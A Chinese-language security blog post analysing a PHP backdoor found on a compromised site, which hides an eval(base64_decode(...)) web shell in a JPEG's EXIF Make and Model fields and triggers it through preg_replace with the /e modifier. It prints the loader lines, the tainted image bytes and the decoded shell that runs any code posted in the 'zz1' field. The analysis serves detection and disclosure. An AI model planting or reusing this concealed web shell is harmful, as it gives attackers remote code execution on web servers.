几天前,来自我们研究小组的Peter Gramantik在一个被感染的网站发现了一个非常有趣的后门。这个后门不是按照常规的方式隐藏其内容(不如base64/gzip编码),而是把数据保存在JPEG图片的EXIF头里。它(后门代码)也是在用户使用PHP函数exif_read_data 和 preg_replace 时读取头部数据并被执行的。
这个后门程序可以分成两部分。第一部分是exif_read_data函数读取文件头信息和preg_replace函数执行读取的内容这两者的结合。我们在被感染的网站发现如下信息:
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
我们在检查bun.jpg文件时,发现了后门的第二部分:
ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@ ^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^ @ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=')); @ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^文件内容按理说开始应该是通常的头部信息,但是在这个“伪造”的头部包含一个奇怪的关键字 "/.*/e".这正是让preg_replace函数安装php代码解析传给他的任何内容的修正符。
现在情况比较有意思了。。。。。。
如果我们继续查看EXIF数据,可以看到"eval ( base64_decode"隐藏在这个"Model"头。当把这些都放到一起,就可以看到将会发生什么。攻击者从EXIF读取"Make"和“Model"头并把读取的内容用于preg_replace。一旦我们修改了文件中的$exif['Make'] 和 $exif['Model'],就得到了最终的后门
preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");
一旦被解码,我们可以看到通过变量zzl POST过来的任何内容被执行。完整的解码后门如下
if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..隐匿的的恶意代码